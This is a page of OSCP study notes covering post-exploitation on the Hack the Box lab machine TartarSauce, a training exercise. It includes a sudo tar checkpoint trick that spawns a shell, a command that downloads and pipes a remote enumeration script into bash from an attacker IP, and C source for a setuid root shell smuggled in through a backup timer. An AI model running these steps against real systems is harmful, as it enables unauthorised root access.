📗
OSCP Prep
  • OSCP Preperation
  • Hack the Box Linux
    • Bashed
    • Nibbles
    • Sense
    • Conceal
    • La Casa de Papel
    • Lightweight
    • Jerry
      • Scanning and Enumeration
    • Jarvis
      • Scanning and Enumeration
      • Exploitation
      • Post Exploitation
      • Lesson's Learned
    • TartarSauce
      • Scanning and Enumeration
      • Exploitation
      • Post Exploitation
      • Lessons Learned
    • Poison
      • Turning LFI into RFI
      • Exploitation
      • Post Exploitation
      • Lessons Learned
    • Node(Comeback to)
      • Scanning and Enumeration
      • Exploitation
    • SolidState
      • Scanning and Enumeration
      • Exploitation and POSTY
      • Lessons Learned
    • Nineveh
      • Scanning and Enumeration
      • Exploitation
      • Post Exploitation
      • Lessons learned
    • Cronos
      • Scanning and Enumeration
      • Exploitation
      • Post Exploitation
      • Lessons Learned
    • SwagShop
      • Scanning and Enumeration
      • Exploitation
      • Lessons Learned
    • Networked
      • Exploitation
    • FriendZoned
      • Scanning and Enumeration
      • Exploitation
      • Post Exploitation
      • Lessons learned
    • Sunday
      • Scanning and Enumeration
      • Exploitation
      • Post Exploitation
      • Lessons Learned
    • Valentine
      • Scanning and Enumeration
      • Exploitation
      • Post Exploitation
      • Lessons Learned
    • Irked
      • Scanning and Enumeration
      • Exploitation
      • Post Exploitation
      • Lessons Learned
    • Kotarak
    • Nibbles
      • Scanning and Enumeration
      • Exploitation
      • Post Exploitation
      • Lessons Learned
  • Hack the Box Windows
    • Bounty
      • Scanning and Enumeration
      • Exploitation
      • Post Exploitation
    • Blue
      • Scanning and Enumeration
      • Lessons Learned
    • Granny
      • Scanning and Enumeration
      • Exploitation
      • Post Exploitation
      • Lessons Learned
    • Grandpa
      • Scanning and Enumeration
      • Exploitation
      • Lessons Learned
    • Arctic
      • Scanning and Enumeration
      • Exploitation
      • Post Exploitation
      • Lessons Learned
    • Optimum
      • Scanning and Enumeration
      • Exploitation
      • Post Exploitation
      • Lessons Learned
    • Devel
      • Scanning and Enumeration
      • Exploitation
      • Post Exploitation
    • Legacy (comeback to )
      • Scanning and Enumeration
      • Exploitation
  • Slick Tricks
    • Banned by Bruteforce? Try this!
    • Hydra for Web Logins
    • Grepping
    • Redirecting all Script Traffic to Burp
    • Word Count
    • Reverse Shell Tricks
    • Transfering files
  • Nmap Help
  • Linux Guide
    • Linux Shortcuts
  • Privelege Escalation
    • Linux Privilege Escalation
Powered by GitBook
On this page
  • Elevating Privileges
  • Post Exploitation Enumeration

Was this helpful?

  1. Hack the Box Linux
  2. TartarSauce

Post Exploitation

PreviousExploitationNextLessons Learned

Last updated 4 years ago

Was this helpful?

Elevating Privileges

Running the following command we can see commands that we can execute without a sudo password

sudo -l 

Upon reading on the tar manual, we can actually use tar to spawn a shell!, wtf?!

sudo -u onuma tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

Post Exploitation Enumeration

wget http://10.10.14.34:80/LinEnum.sh | bash

The way we’re going to escalate privileges is by creating our own compressed file that contains an SUID executable.

$ locate backuper
/etc/systemd/system/multi-user.target.wants/backuperer.timer
/lib/systemd/system/backuperer.service
/lib/systemd/system/backuperer.timer
/usr/sbin/backuperer

The way we’re going to escalate privileges is by creating our own compressed file that contains an SUID executable.

Create a file on our attacker machine

#include <unistd.h>
int main()
{
    setuid(0);
    execl("/bin/bash", "bash", (char *)NULL);
    return 0;
}
gcc -m32 -o setuid setuid.c
chmod u+s setuid

root@kali:/var/www/html# ls -l
total 776
-rw-r--r-- 1 root root  10701 May  8  2020 index.html
-rw-r--r-- 1 root root    612 May  8  2020 index.nginx-debian.html
-rwxr-xr-x 1 root root  46631 Oct 15 08:39 LinEnum.sh
-rw-r--r-- 1 root root 706130 Aug 24 17:17 Resume.pdf
-rwsr-xr-x 1 root root  15520 Nov  9 09:22 setuid
-rw-r--r-- 1 root root    110 Nov  9 09:18 setuid.c
-rw-r--r-- 1 root root      0 Aug 10 22:02 test.py

Compress the var directory and save it to the file called exploit

tar -zcvf exploit var

copy to our target machine in /var/tmp

attack machine: python -m SimpleHTTPServer 80

target machine: wget http://10.10.14.34:80/exploit

check time with

systemctl list-timers

Hack The Box — TartarSauce Writeup w/o MetasploitMedium
Useful OSCP Notes & CommandsMedium
Logo
Logo
Looks like we can run /bin/tar
tar | GTFOBins
Logo